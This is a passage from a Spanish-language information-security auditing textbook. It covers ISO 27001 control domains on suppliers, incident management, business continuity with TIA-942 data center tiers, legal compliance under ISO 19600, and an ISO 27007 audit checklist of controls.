diferentes entornos como en cada navegador de internet, sistema operativo o dispositivo,
para garantizar el correcto funcionamiento de la aplicación en todos los medios. El mismo
software puede presentar errores dependiendo de dónde se ejecute: funcionales (botones y
enlaces pueden dejar de funcionar, producen errores de sistema o simplemente no realizan
la funcionalidad esperada), estéticos (pueden descuadrarse frames de la aplicación, no
cargarse imágenes, desaparecer enlaces o botones y textos).
Página 125 de 430

Integración Las pruebas de integración son pruebas funcionales entre dos o más
sistemas. El objetivo de las pruebas de integración es verificar el correcto ensamblaje entre
los distintos componentes una vez que han sido probados unitariamente con el fin de
comprobar que interactúan correctamente a través de sus interfaces, cubren la funcionalidad
establecida y se ajustan a los requisitos.
14.2.9 Aceptación El objetivo de las pruebas de aceptación es validar que un sistema

cumple con el funcionamiento esperado y permitir al usuario de dicho sistema que determine
su aceptación, desde el punto de vista de su funcionalidad y rendimiento. En las pruebas de
aceptación, la ejecución y aprobación final corresponden al usuario o cliente, que es el que
valida y verifica que el alcance es el correcto.
Existen más tipos de pruebas, pero dado que el objeto de este texto, no es hacer
un resumen de la ingeniería de software, basta con señalar que estos son los
tipos de pruebas más habituales a efectos de auditoria incluyendo las desarrollo
y bases de datos además de las de Red, y dado que las pruebas se han de
adecuar al entorno y sus herramientas de explotación de la información,
consideraremos un resumen valido para nuestros propósitos, el expuesto, ahora
bien quien desee profundizar más en los otros tipos de pruebas, sus objetivos y
finalidades puede dirigirse a la siguiente dirección web http://ing-
sw.blogspot.com.es/2005_04_01_archive.html
Página 126 de 430

Capítulo 18
Relaciones con suministradores. ISO 20000

Dominio 15
Este otro capítulo interesante ya

que aquí se formalizan muchos
acuerdos de intercambios de
información que deben estar
formalizados siempre con la
asistencia del área legal. Debe
estar definida una política que especifica donde se defina qué información se
puede compartir con los proveedores y en especial toda información, sujeta
hasta la fecha a la Ley de Protección de Datos de Carácter Personal y en un
futuro casi inmediato al Reglamento Europeo de Protección de Datos.
15.1.1 Política de seguridad de la información para suministradores: Se deberían

acordar y documentar adecuadamente los requisitos de seguridad de la
información requeridos por los activos de la organización con el objetivo de
mitigar los riesgos asociados al acceso por parte de proveedores y terceras
personas.
15.1.2 Tratamiento del riesgo dentro de acuerdos de suministradores: Se

deberían establecer y acordar todos los requisitos de seguridad de la información
pertinentes a cada proveedor que puede acceder, procesar, almacenar,
comunicar o proporcionar componentes de infraestructura de TI que dan soporte
a la información de la organización.
15.1.3 Cadena de suministro en tecnologías de la información y comunicaciones:

Los acuerdos con los proveedores deberían incluir los requisitos para abordar
los riesgos de seguridad de la información asociados con la cadena de suministro
de los servicios y productos de tecnología de información y comunicaciones.
15.2 Gestión de la prestación del servicio por suministradores
La organización debería verificar la implementación de acuerdos, el monitoreo
de su cumplimiento y gestión de los cambios con el fin de asegurar que los
servicios que se ser prestan cumplen con todos los requerimientos acordados
con los terceros.
¿Lo que recibe vale lo que paga por ello? Dé respuesta a esta pregunta y
respáldela con hechos, estableciendo un sistema de supervisión de terceros
proveedores de servicios y sus respectivas entregas de servicio.
Página 127 de 430

Revise periódicamente los acuerdos de nivel de servicio (SLA) y compárelos con

los registros de supervisión. En algunos casos puede funcionar un sistema de
premio y castigo.
Esté atento a cambios que tengan impacto en la seguridad.
Actividades de control del riesgo

15.2.1 Supervisión y revisión de los servicios prestados por terceros: Las
organizaciones deberían monitorear, revisar y auditar la presentación de
servicios del proveedor regularmente.
15.2.2 Gestión de cambios en los servicios prestados por terceros: Se deberían

administrar los cambios a la provisión de servicios que realizan los proveedores
manteniendo y mejorando: las políticas de seguridad de la información, los
procedimientos y controles específicos. Se debería considerar la criticidad de la
información comercial, los sistemas y procesos involucrados en el proceso de
reevaluación de riesgos.
Página 128 de 430

Capítulo 19
Gestión de Incidentes de Seguridad. ISO 20000

Dominio 16
El objetivo es garantizar que los

eventos de seguridad de la
información y las debilidades
asociados a los sistemas de
información sean comunicados
de forma tal que se apliquen las
acciones correctivas en el tiempo
oportuno.
Las organizaciones cuentan con

innumerables activos de información, cada uno expuesto a sufrir incidentes de
seguridad. Resulta necesario contar con una capacidad de gestión de dichos
incidentes que permita comenzar por su detección, llevar a cabo su tratamiento
y colaborar en la prevención de futuros incidentes similares.
Deberían establecerse las responsabilidades y procedimientos para manejar los

eventos y debilidades en la seguridad de información de una manera efectiva y
una vez que hayan sido comunicados.
Se debería aplicar un proceso de mejora continua en respuesta para monitorear,

evaluar y gestionar en su totalidad los incidentes en la seguridad de información.
Cuando se requieran evidencias, éstas deben ser recogidas para asegurar el

cumplimiento de los requisitos legales.
Las revisiones post-incidentes y los casos de estudio para incidentes serios, tales
como fraudes, ilustran los puntos débiles de control, identifican oportunidades de
mejora y conforman por sí mismos un mecanismo eficaz de concienciación en
seguridad.
Debería establecerse el informe formal de los eventos y de los procedimientos

de escalado.
Todos los empleados, contratistas y terceros deberían estar al tanto de los

procedimientos para informar de los diferentes tipos de eventos y debilidades
que puedan tener impacto en la seguridad de los activos organizacionales.
Se les debería exigir que informen de cualquier evento o debilidad en la

seguridad de información lo más rápido posible y al punto de contacto designado.
Página 129 de 430

Establezca y dé a conocer una hotline (generalmente, el helpdesk habitual de TI)

para que la gente pueda informar de incidentes, eventos y problemas de
seguridad.
16.1.1 Responsabilidades y procedimientos: Se deberían establecer las

responsabilidades y procedimientos de gestión para garantizar una respuesta
rápida, eficaz y ordenada a los incidentes de seguridad de la información.
16.1.2 Notificación de los eventos de seguridad de la información: Los eventos

de seguridad de la información se deberían informar lo antes posible utilizando
los canales de administración adecuados.
16.1.3 Notificación de puntos débiles de la seguridad: Se debería requerir anotar

e informar sobre cualquier debilidad sospechosa en la seguridad de la
información en los sistemas o servicios tanto a los empleados como a
contratistas que utilizan los sistemas y servicios de información de la
organización.
16.1.4 Valoración de eventos de seguridad de la información y toma de

decisiones: Se deberían evaluar los eventos de seguridad de la información y
decidir su clasificación como incidentes.
16.1.5 Respuesta a los incidentes de seguridad: Se debería responder ante los

incidentes de seguridad de la información en atención a los procedimientos
documentados.
16.1.6 Aprendizaje de los incidentes de seguridad de la información: Se debería

utilizar el conocimiento obtenido del análisis y la resolución de incidentes de
seguridad de la información para reducir la probabilidad y/o impacto de
incidentes en el futuro.
16.1.7 Recopilación de evidencias: La organización debería definir y aplicar los

procedimientos necesarios para la identificación, recopilación, adquisición y
preservación de la información que puede servir de evidencia. Se aplicará
siempre que haya necesidad de evidencia, lo señalado en la ISO-EIC 27037
desde la óptica técnica y se seguirán todas las indicaciones legales a efectos de
que sea una prueba válida a efectos judiciales, si así se considera oportuno.
Página 130 de 430

Capítulo 20
Continuidad del Negocio ISO 22301 / 22320.

Dominio 17
El objetivo es preservar la seguridad de la información durante las fases de

activación, de desarrollo de procesos, procedimientos y planes para la
continuidad de negocio y de vuelta a la normalidad.
Se debería integrar dentro de los procesos críticos de negocio, aquellos

requisitos de gestión de la seguridad de la información con atención especial a
la legislación, las operaciones, el personal, los materiales, el transporte, los
servicios y las instalaciones adicionales, alternativos y/o que estén dispuestos
de un modo distinto a la operativa habitual.
Se deberían analizar las consecuencias de los desastres, fallas de seguridad,

pérdidas de servicio y la disponibilidad del servicio y desarrollar e implantar
planes de contingencia para asegurar que los procesos del negocio se pueden
restaurar en los plazos requeridos las operaciones esenciales, manteniendo las
consideraciones en seguridad de la información utilizada en los planes de
continuidad y función de los resultados del análisis de riesgos.
Deberían llevarse a cabo las pruebas pertinentes (tales como pruebas sobre el
papel, simulacros, pruebas de failover, etc.) para (a) mantener los planes
actualizados, (b) aumentar la confianza de la dirección en los planes y (c)
familiarizar a los empleados relevantes con sus funciones y responsabilidades
bajo condiciones de desastre.
Minimizar los efectos de las posibles interrupciones de las actividades normales

de la organización asociadas a desastres naturales, accidentes, fallas en el
equipamiento, acciones deliberadas u otros hechos, protegiendo los procesos
críticos mediante una combinación de controles preventivos y acciones de
recuperación.
Instruir al personal involucrado en los procedimientos de reanudación y

recuperación en relación con los objetivos del plan, los mecanismos de
coordinación y comunicación entre equipos (personal involucrado), los
procedimientos de divulgación en uso, los requisitos de la seguridad, los
procesos específicos para el personal involucrado y responsabilidades
individuales. Se deberían determinar los requisitos de seguridad de la
información al planificar la continuidad de los procesos de negocio y la
recuperación ante desastres.
La organización debería establecer, documentar, implementar y mantener

procesos, procedimientos y cambios de implementación para mantener los
controles de seguridad de la información existentes durante una situación
adversa. Si los controles de seguridad no pueden continuar resguardando la
Página 131 de 430

información ante situaciones adversas, se deberían establecer, implementar y

mantener otros controles para mantener un nivel aceptable de seguridad de la
información.
Las organizaciones deberían verificar la validez y la efectividad de las medidas

de continuidad de la seguridad de la información regularmente, especialmente
cuando cambian los sistemas de información, los procesos, los procedimientos
y los controles de seguridad de la información, o los procesos y soluciones
establecidas para la gestión de la continuidad de negocio.
17.1.1 Planificación de la continuidad de la seguridad de la información: La

organización debería determinar los requisitos para la seguridad de la
información y su gestión durante situaciones adversas como situaciones de crisis
o de desastre.
17.1.2 Implantación de la continuidad de la seguridad de la información: La

organización debería establecer, documentar, implementar y mantener los
procesos, procedimientos y controles para garantizar el mantenimiento del nivel
necesario de seguridad de la información durante situaciones adversas.
17.1.3 Verificación, revisión y evaluación de la continuidad de la seguridad de la

información: La organización debería verificar regularmente los controles de
continuidad de seguridad de la información establecidos e implementados para
poder garantizar su validez y eficacia ante situaciones adversas.
Es obvio que tanto el CSGSI como el SGA junto con los responsables de las
áreas afectadas deberán crear un comité mixto, reducido y localizado en todo
momento para todo lo relativo a la toma de decisiones.
Aquí es donde adquieren todo su sentido y valor económico y de ahorro de
tiempo tanto las copias de seguridad como los centros de respaldo sean o no
virtualizados.
En realidad, estamos no tratando sólo con la norma ISO 27001 sino con la 22301
y en el caso de un entorno industrial también tendríamos que operar de acuerdo
con las instrucciones derivadas de la 22320 que son las relativas a la gestión de
emergencia por parte de las autoridades competentes.
17.2 Redundancias / Duplicidades
Se deberían considerar los componentes o arquitecturas redundantes cuando no

se pueda garantizar el nivel de disponibilidad requerido por las actividades de la
organización a través de arquitecturas sencillas típicas o los sistemas existentes
se demuestren insuficientes.
Se deberían probar los sistemas de información redundantes para garantizar que

la conmutación funcione adecuadamente.
17.2.1 Disponibilidad de instalaciones para el procesamiento de la información:

Se debería implementar la suficiente redundancia en las instalaciones de
Página 132 de 430

procesamiento de la información y en correspondencia con los requisitos de

disponibilidad.
Métricas asociadas
Medidas típicas que se pueden aplicar y medir en cada sistema relevante

(hardware, software, información, ...) para el cálculo son "MTTF" (Mean Time To
Failure), "MTBF" (Mean Time Between Failure, típicamente MTTF + MTTR),
MTTR (Mean Time To Repair). De ese modo se puede calcular el grado de
disponibilidad a largo plazo (MTTF/MTBF) y fiabilidad de un sistema.
En realidad, todo lo relativo a la norma 22301 / 22302 gira en torno al entorno

físico y dicho entorno se encuentra definido bajo una serie de normas técnicas
que no pertenecen al ámbito ISO propiamente dicho y que configuran lo que se
conoce como el estándar TIA 942 del cual insertamos un resumen que
consideramos valido a efectos a ilustrar sus contenidos, alcance y objetivos
específicos. Extraído y adaptado de la siguiente dirección web
http://www.c3comunicaciones.es/data-center-el-estandar-tia-942/
Estándar TIA 942/942 A
Concebido como una guía para los diseñadores e instaladores de centros de

datos (Data Centers), el estándar TIA942 (2005) proporciona una serie de
recomendaciones y directrices (guidelines) para la instalación de sus
infraestructuras.
Aprobado en 2005 por ANSI-TIA, clasifica a

este tipo de centros en varios grupos, llamados
TIER (anexo G), indicando así su nivel de
fiabilidad en función del nivel de disponibilidad.
Al diseñar los centros de datos conforme a la norma, se obtienen ventajas

fundamentales, como son:
 Nomenclatura estándar.
 Funcionamiento a prueba de fallos.
 Aumento de la protección frente a agentes externos.
 Fiabilidad a largo plazo, mayores capacidades de expansión y
escalabilidad.
De acuerdo con el estándar TIA-942, la infraestructura de soporte de un Data

Center estará compuesta por cuatro subsistemas:
 Telecomunicaciones: Cableado de armarios y horizontal, accesos

redundantes, cuarto de entrada, área de distribución, backbone,
Página 133 de 430

elementos activos y alimentación redundantes, patch panels y latiguillos,

documentación.
 Arquitectura: Selección de ubicación, tipo de construcción, protección
ignífuga y requerimientos NFPA 75(Sistemas de protección contra el
fuego para información), barreras de vapor, techos y pisos, áreas de
oficina, salas de UPS y baterías, sala de generador, control de acceso,
CCTV, NOC (Network Operations Center – Centro operativo).
 Sistema eléctrico: Número de accesos, puntos de fallo, cargas críticas,
redundancia de UPS y topología de UPS, puesta a tierra, EPO
(Emergency Poner Off- sistemas de corte de emergencia) baterías,
monitorización, generadores, sistemas de transferencia.
 Sistema mecánico: Climatización, presión positiva, tuberías y drenajes,
Crac y condensadores, control de HVAC (High Ventilating Air
Conditionning), detección de incendios y sprinklers, extinción por agente
limpio (NFPA 2001), detección por aspiración (ASD), detección de
líquidos.
Asimismo, y siguiendo las indicaciones del estándar, un CPD deberá incluir

varias áreas funcionales:
 Una o varias entradas al centro.

 Área de distribución principal.
 Una o varias áreas de distribución principal.
 Áreas de distribución horizontal
 Área de equipo de distribución.
 Zona de distribución.
 Cableado horizontal y backbone.
El concepto de TIER
El nivel de fiabilidad de un centro de datos viene indicado por uno de los cuatro
niveles de fiabilidad llamados TIER, en función de su redundancia (anexo G). A
mayor número de TIER, mayor disponibilidad, y por tanto mayores costes de
construcción y mantenimiento.
TIER % Disponibilidad % Parada Tiempo anual de parada

TIER I 99,67% 0,33% 28,82 horas
TIER II 99,74% 0,25% 22,68 horas
TIER III 99, 982 % 0,02% 1,57 horas
TIER IV 100,00% 0,01% 52,56 minutos
TIER I- Nivel 1 (Básico)
 Disponibilidad del 99,671 %.

 Sensible a las interrupciones, planificadas o no.
 Un solo paso de corriente y distribución de aire acondicionado, sin
componentes redundantes.
 Sin exigencias de piso elevado.
 Generador independiente.
 Plazo de implementación: 3 meses.
Página 134 de 430
 Tiempo de inactividad anual: 28,82 horas.

 Debe cerrarse completamente para realizar mantenimiento preventivo.
TIER II- Nivel II (Componentes redundantes)
1. Disponibilidad del 99,741 %.

2. Menor sensibilidad a las interrupciones.
3. Un solo paso de corriente y distribución de aire acondicionado, con un
componente redundante.
4. Incluye piso elevado, UPS y generador.
5. Plazo de implementación: 3 meses.
6. Tiempo de inactividad anual: 28,82 horas.
7. Plazo de implementación: 3 a 6 meses.
8. Tiempo de inactividad anual: 22,0 horas.
9. El mantenimiento de la alimentación y otras partes de la infraestructura
requieren de un cierre de procesamiento.
TIER III- Nivel III (Mantenimiento concurrente)
 Disponibilidad 99,982 %.
 Interrupciones planificadas sin interrupción de funcionamiento, pero
posibilidad de problemas en las no previstas.
 Múltiples accesos de energía y refrigeración, por un solo
encaminamiento activo. Incluye componentes redundantes (N+1).
 Plazo de implementación: 15 a 20 meses.
TIER IV- Nivel IV (Tolerante a errores)
 99,995 % de disponibilidad.
 Interrupciones planificadas sin interrupción de funcionamiento de los
datos críticos. Posibilidad de sostener un caso de improviso sin daños
críticos.
 Múltiples pasos de corriente y rutas de enfriamiento. Incluye
componentes redundantes. Incluye componentes redundantes (2(N+1))-
2 UPS cada uno con redundancia (N+1).
 Plazo de implementación: 15 a 20 meses.
Página 135 de 430

Novedades introducidas por la Norma 942A
Resumimos en este apartado

las modificaciones introducidas,
en el campo del cableado, tanto
en fibra como en cobre, por el
estándar TIA 942 (A), de
aplicación en Data Centers.
Si bien se trata de una

normativa de origen USA, el
estándar ANSI/TIA-942, editado
en 2005, y con revisiones cada
5 años, puede ser considerado
como “un sistema genérico de cableado para los Data Centers y su ámbito de
influencia” (Página IX de las normativas). En su reciente actualización (2013),
incorpora las siguientes novedades:
 La utilización en los DC de fibras multimodo queda reservada a los tipos

OM3 y OM4 (50/125), y equipos con emisores LASER 850 nm.
Quedando prohibida la utilización de fibras de los tipos OM1 y OM2
anteriormente empleados.
 Para los cableados de cobre, se recomienda el empleo de Cat6 (mínimo)
y Cat6A apantallados. En este campo se coincide con ISO/IEC 24764,
que reconoce únicamente enlaces Clase EA (Cat 6ªA)
 Queda suprimida la limitación de 100 m. de longitud en cableados
horizontales, para la fibra óptica, quedando la definición de este
concepto a la responsabilidad del fabricante.
 Conectores ópticos: queda reducida la selección a los tipos LC Dúplex,
para cables dúplex, y MPO para más de 12 fibras
 Se recomienda el uso de arquitecturas centralizadas y jerárquicas, por
ser más flexible que los enlaces directos.
 Queda reestructurada la organización de los entornos DC, incluyendo tres
tipos de áreas: MDA Main Distribution Area), IDA (Intermediate
Distribution Area, HDA (Horizontal distribution Area) y ZDA (Optional Zone
Distribution Area); algunas de las cuales pueden precisar de cableados
supletorios. Con ello, instalaciones amplias pueden precisar de varias
ubicaciones y varios IDAs, con cableados redundantes.
Página 136 de 430

No obstante, debemos de señalar, que este estándar, debe cumplirse por las
empresas que ofrecen servicios de hosting y las diversas derivaciones en forma
de servicios que las tecnologías CloudComputing han generado en los últimos
años y que anunciamos aquí por ser de interés con vistas a reducir a la mínima
expresión el riesgo en términos de negocio y operación. Tendencias Actuales.
El que existan estas tecnologías no supone, que se puedan omitir estos controles
anteriores pues las normas, que regulan estas nuevas tecnologías, están en fase
de desarrollo, pues la tecnología CloudComputing es una tecnología emergente
y requerirá de tiempo para asentarse y estabilizarse.
Página 137 de 430

Capítulo 20
Cumplimiento Legal. ISO 19600

Dominio 18
Aquí es donde la ISO 27001 se

engarza con otra norma ISO 19600
que se creó para incluir las
responsabilidades legales y en
particular las responsabilidades
penales, del ámbito TIC / SI, dentro
de los objetos de Derecho.
Pues hasta ahora era un ámbito no regulado legalmente, sino el soporte de otros
ámbitos legales por ejemplo leyes relativas a la Propiedad Intelectual e Industrial,
la Protección de los datos de carácter personal, etc. Dado que las tecnologías
de la información y las telecomunicaciones no eran consideradas fuente de
Derecho, sin embargo y debido al peso y a la influencia social, que ejercen en la
sociedad actual, el Derecho se ha visto obligado no sólo a incluirlas con carta de
naturaleza propia, sino que, además muchos ámbitos del Derecho se redefinen
ahora partiendo de las mismas.
El diseño, operación, uso y administración de los sistemas de información están

regulados por disposiciones legales y contractuales. Los requisitos normativos y
contractuales pertinentes a cada sistema de información deberían estar
debidamente definidos y documentados.
El objetivo es cumplir con las disposiciones normativas y contractuales a fin de

evitar sanciones administrativas a la organización y/o a los empleados que
incurran en responsabilidad civil o penal como resultado de incumplimientos.
Se debe revisar la seguridad de los sistemas de información periódicamente a

efectos de garantizar la adecuada aplicación de la política, normas y
procedimientos de seguridad, sobre las plataformas tecnológicas y los sistemas
de información.
18.1 Cumplimiento de los requisitos legales y contractuales
El diseño, operación, uso y gestión de los sistemas de información pueden ser

objeto de requisitos estatutarios, reguladores y de seguridad contractuales.
Los requisitos legales específicos deberían ser advertidos por los asesores
legales de la organización o por profesionales adecuadamente cualificados.
Página 138 de 430

Los requisitos que marca la legislación cambian de un país a otro y pueden variar
para la información que se genera en un país y se transmite a otro país distinto
(por ej., flujos de datos entre fronteras).
Obtenga asesoramiento legal competente, especialmente si la organización

opera o tiene clientes en múltiples jurisdicciones.
18.1.1 Identificación de la legislación aplicable: Se deberían identificar,

documentar y mantener al día de manera explícita para cada sistema de
información y para la organización todos los requisitos estatutarios, normativos
y contractuales legislativos junto al enfoque de la organización para cumplir con
estos requisitos.
18.1.2 Derechos de propiedad intelectual (DPI): Se deberían implementar

procedimientos adecuados para garantizar el cumplimiento con los requisitos
legislativos, normativos y contractuales relacionados con los derechos de
propiedad intelectual y utilizar productos software originales.
18.1.3 Protección de los registros de la organización: Los registros se deberían

proteger contra pérdidas, destrucción, falsificación, accesos y publicación no
autorizados de acuerdo con los requisitos legislativos, normativos, contractuales
y comerciales.
18.1.4 Protección de datos y privacidad de la información personal: Se debería

garantizar la privacidad y la protección de la información personal identificable
según requiere la legislación y las normativas pertinentes aplicables que
correspondan.
18.1.5 Regulación de los controles criptográficos: Se deberían utilizar controles

de cifrado de la información en cumplimiento con todos los acuerdos, la
legislación y las normativas pertinentes. Ello debe ser coherente con lo
establecido en los dominios 10 y 11 donde se definían los controles criptográficos
aplicables y la seguridad medioambiental que incluye no sólo el reciclaje de los
materiales físicos, sino también la destrucción controlada de información no
reutilizable por su contenido, que puede ser sensible y que no puede ser utilizada
ni siquiera, con fines estadísticos o científicos.
Aunque la norma ISO 19600, no es una norma certificable es análoga a 27002,

es decir, es un conjunto de las mejores prácticas profesionales, es importante
explicar que, al tratarse de un conjunto de prácticas relacionadas con el ámbito
jurídico, y la seguridad de la información implica cumplir con disposiciones
legales, es interesante conocer cómo se integra esta norma como también lo
hacen 22301, 22302 / 14001 por ejemplo. Empecemos por algo sencillo que
funciones desempeña el responsable compliance
Función de compliance (Norma UNE-ISO 19600 punto 5.3.4) Debe encargarse

de responsabilidad de las siguientes cuestiones:
Identificar las obligaciones de compliance y traducir esas obligaciones en

políticas, procedimientos y procesos viables.
Página 139 de 430

Integrar las obligaciones de compliance en las políticas, procedimientos y

procesos existentes.
Proporcionar apoyo formativo continuo a la organización, asegurando que

los empleados con puestos relevantes tengan una formación continua.
Promover la inclusión de las responsabilidades de compliance en la descripción

de los puestos de trabajo.
Poner en marcha un sistema de documentación e información de compliance

.
Desarrollar e implementar procesos de gestión de la información, un canal
de denuncias anónimas u otros mecanismos.
Establecer indicadores de desempeño de compliance y supervisar y medir el

desempeño de compliance.
Analizar el desempeño para identificar las necesidades correctivas.
Identificar los riesgos de compliance y gestionar los riesgos relacionados con

terceras personas (proveedores, agentes, consultores).
Asegurar que se revisa el sistema de gestión de compliance con la periodicidad

planificada.
Asegurar el acceso a un asesoramiento profesional adecuado para el

mantenimiento e implementación del sistema de compliance.
Promocionar a los empleados acceso a los recursos de compliance.
Proporcionar asesoramiento objetivo a la organización en materia de

compliance.
La Norma prevé que la función de compliance puede ser asignada a una

posición existente, ya que «no todas las organizaciones crearán una función
de compliance».
Esa función de cumplimiento afecta, asimismo, por un lado, a la Alta dirección

de la organización, que debe apoyar la función de compliance, identificar y
comunicar los riesgos, asegurar el cumplimiento y efectividad de las medidas
correctoras derivadas de los incumplimientos del sistema de gestión de
compliance, etc.; y por otro, a los empleados, los cuales deben observar las
obligaciones de compliance, informar sobre sus preocupaciones y fallos que
adviertan en el sistema de compliance, etc. (Norma UNE-ISO 19600 apartados
5.3.5 y 5.3.6)
PRECISIONES Se pretende instaurar una cultura de compliance con la Norma

UNE-ISO 19600, lo que exigirá una evaluación permanente y a la vez periódica
del sistema de compliance, la realización de auditorías externas sobre el
Página 140 de 430

cumplimiento y mejora (téngase en cuenta que la «externalización de las

operaciones de una organización no le libera de sus responsabilidades legales
o sus responsabilidades de compliance» (Norma UNE-ISO 19600 apartado 8.3).
Aspectos positivos que aporta la norma 19600 a las organizaciones con respecto
a las obligaciones derivadas de cumplimientos normativos y legales.
1. En primer lugar, la Norma parte del principio de que compliance es el resultado

de que una organización cumple con sus obligaciones. Precisamente por ello
sostiene que una organización que pretenda tener éxito a medio plazo debe
mantener una cultura de integridad y de cumplimiento. Quiere decirse con ello
que integridad y compliance son una «oportunidad para una organización de
éxito y sostenible».
2. La norma se cuida en indicar que no especifica requisitos, sino que
proporciona una guía para los sistemas de gestión de compliance. El objetivo
es que los principios contenidos en la norma (guía) sirvan para todo tipo de
organización, con independencia del tamaño de la misma y de su sistema previo
de control de los riesgos.
3. Parte de un principio de mejora continua que responde al siguiente esquema:
Planificar, Hacer, Verificar, Actuar.
4. El apartado tercero de la norma recoge una serie de definiciones
(organización, parte interesada, órgano de gobierno, alta dirección, etc.) que
tienen trascendencia la hora de conocer la finalidad de la norma.
5. La norma regula con detalle la política de compliance, distinguiendo los
diferentes roles del encargado de cumplimiento, la alta dirección y los
empleados de la organización. Regulando asimismo una evaluación continua
en el desempeño de la función de compliance.
Página 141 de 430

Capítulo 21
ISO 27007
¿Cómo se auditan los controles por parte del Auditor?

Es obvio que una Auditoria es una labor de equipo y ello supone que el Equipo
de Auditoria y el Cliente, deben conocer y acordar el alcance del proyecto,
quienes serán los interlocutores, que calendarios de entrevistas hay que
establecer, quienes son los informados, los responsables, los consultados y por
supuesto los auditados.
Transmitir y concienciar que una Auditoria no es una caza de brujas, no se trata

de buscar culpables de: fallos, anomalías, vulnerabilidades, amenazas de
manera individual, se trata de localizar eso fallos, esas anomalías, esas
amenazas y tratar de erradicarlas si es posible, en caso de que esto, no sea
posible, subsanar los fallos o insuficiencia de documentación, actualizar y
adecuar los procedimientos a la estructura y tecnología vigentes, o recomendar
cambios hacia esas tecnologías, si reportan beneficios de seguridad y
económicos, etc.
Como el lenguaje es muy importante y con el fin de transmitir los resultados de

la forma más objetiva posible, trasladaremos los hallazgos mediante la siguiente
tabla que proponemos a manera de ejemplo y que sirve, para que todos los
interlocutores puedan comprender que técnicas de investigación vamos a
emplear durante el proceso de auditoría.
Rellenar el Dominio y los Controles que van a ser evaluados por parte del equipo
de Auditoria.
El símbolo  se utilizará para los controles que están relacionados con

Telecomunicaciones / Redes.
El símbolo  significa que se recomienda: una inspección visual o el uso de una

herramienta que nos permita capturar todas las informaciones, que aparezcan
en la pantalla y que sean relevantes para obtener información sustancial del
proceso o actividad que deba ser posteriormente analizada con mayor
profundidad incluyendo el uso de herramientas de informática forense.
Los campos Organizativo y Técnico, hacen referencia a que tipo de actividad de

control se refiere, si hay hallazgos significativos o relevantes, se reflejaran
mediante una nota técnica o en caso de aplicar otras normas ISO-IEC también
se reflejaran en él mismo. Es obvio que esta guía se configura en horizontal y
esto sólo está expuesto como explicación. Se recomienda incluso elaborar dos
formatos separados.
Página 142 de 430

Control Organizativo Técnico   Guía / Nota

9 dominio    
9.9 Control
En las anteriores versiones de la norma 27001 se utilizaba el Anexo A, aquí se

consignaba los criterios debería aplicar el Auditor, a la hora de evaluar estos
controles en particular. Tanto si aplica como, si no se aplica se puede especificar
en el campo Guía / Nota siempre y cuando se justifique el porqué de la opción
seleccionada. Esto es especialmente importante si estamos auditando cualquier
infraestructura critica.
Insertamos aquí un ejemplo proporcionado por AENOR sobre cómo se deben

auditar los controles de la 27001 la versión previa a la 2013
COLUMNAS
 ORG.: Controles de seguridad de tipo organizacional

 X Revisión de la documentación de los procedimientos, entrevistas,
observación
 TECN.: Controles de seguridad de tipo técnico:
 X El control tiene un componente técnico a revisar
 LOG: Revisión de sistemas/Herramienta de Audit/logs
 P="posible": la revisión es factible para la evaluación del
control, pero no es necesaria
 R= “recomendado” la revisión es normalmente necesaria
pero la exclusión se puede justificar
 O= “obligado-requerido” la revisión es obligatoria
 ☺: Inspección visual
 ☺ Procede realizar una inspección visual.
 Comentarios
 Cualquier aclaración o ámbito específico del audit, por ejemplo, la
documentación a pedir, etc...
Página 143 de 430

TABLA DE CONTROLES
N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
POLÍTICA DE
5 SEGURIDAD
POLÍTICA DE
SEGURIDAD DE LA
5 1 INFORMACIÓN
Documento de política de
5 1 1 seguridad de la información X
Revisión de la política de Acta revisión por la
5 1 2 seguridad de la información X dirección
ORGANIZACIÓN DE LA
SEGURIDAD DE LA
6 INFORMACIÓN
ORGANIZACIÓN
6 1 INTERNA
Comité de gestión de la
6 1 1 seguridad de la información X Actas de reuniones
Coordinación de la seguridad
6 1 2 de la información X Actas de reuniones
Asignación de
responsabilidades en X
6 1 3 seguridad de la información
Proceso de autorización de
recursos para la seguridad de X
6 1 4 la información
6 1 5 Acuerdos de confidencialidad X Copia de los acuerdos
6 1 6 Relación con las autoridades X

Relación con grupos de
6 1 7 interés especial X
Revisión independiente de la Leer los informes
6 1 8 seguridad X
Página 144 de 430

N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
6 2 TERCERAS PARTES
Identificación de riesgos
relacionados con terceras X
6 2 1 partes
Requisitos de seguridad en las
6 2 2 relaciones con clientes X
Requisitos de seguridad en los Comprobar algunas
6 2 3 contratos con terceros X cláusulas
7 GESTIÓN DE ACTIVOS
RESPONSABILIDAD DE
7 1 LOS ACTIVOS
X Identificar los activos

7 1 1 Inventario de activos
7 1 2 Propietarios de los activos X

7 1 3 Uso aceptable de los recursos X
CLASIFICACIÓN DE LA
7 2 INFORMACIÓN
7 2 1 Guías de clasificación X
Comprobar los
nombres y etiquetas:
directorios, ficheros,
informes impresos,
X media grabados (p.e:
CD. Cintas, discos...),
correos electrónicos y
Etiquetado y tratamiento de la ficheros
7 2 2 información intercambiados
SEGURIDAD LIGADA AL
8 PERSONAL
ANTES DE LA RELACIÓN
8 1 LABORAL
8 1 1 Funciones y responsabilidades X
Página 145 de 430

N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
8 1 2 Credenciales X
Términos y condiciones del
8 1 3 empleo
DURANTE LA RELACIÓN
8 2 LABORAL
Responsabilidades de los
8 2 1 directores X
Preguntar a los
empleados si están
conscientes o
Concienciación, formación y X concienciados sobre
capacitación en seguridad de sus obligaciones en
8 2 2 la información seguridad
8 2 3 Proceso disciplinario X
FINAL O CAMBIO EN LA
8 3 RELACIÓN LABORAL
Responsabilidades al finalizar
8 3 1 la relación laboral X
8 3 2 Devolución de los equipos X

Supresión de los derechos de
8 3 3 acceso X X R
9 SEGURIDAD FÍSICA
9 1 ÁREAS SEGURAS
9 1 1 Perímetro de seguridad física X
9 1 2 Control físicos de entrada X X P ☺ Revisar los archivos de

control de acceso
9 1
Seguridad de oficinas,
3 despachos y salas X ☺
9 1
Protección contra amenazas
4 externas y ambientales X ☺
Página 146 de 430

N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
9 1 5 Trabajo en áreas seguras X ☺
9 1
Acceso público, zonas de
6 carga y descarga X ☺
SEGURIDAD DE LOS
9 2 EQUIPOS
9 2
Instalación y protección de los
1 equipos X X P ☺
9 2 2 Servicios de suministro X X P ☺
9 2 3 Seguridad del cableado X ☺

Averiguar si hay
X contrato de
9 2 4 Mantenimiento de los equipos mantenimiento
Cifrado en los equipos
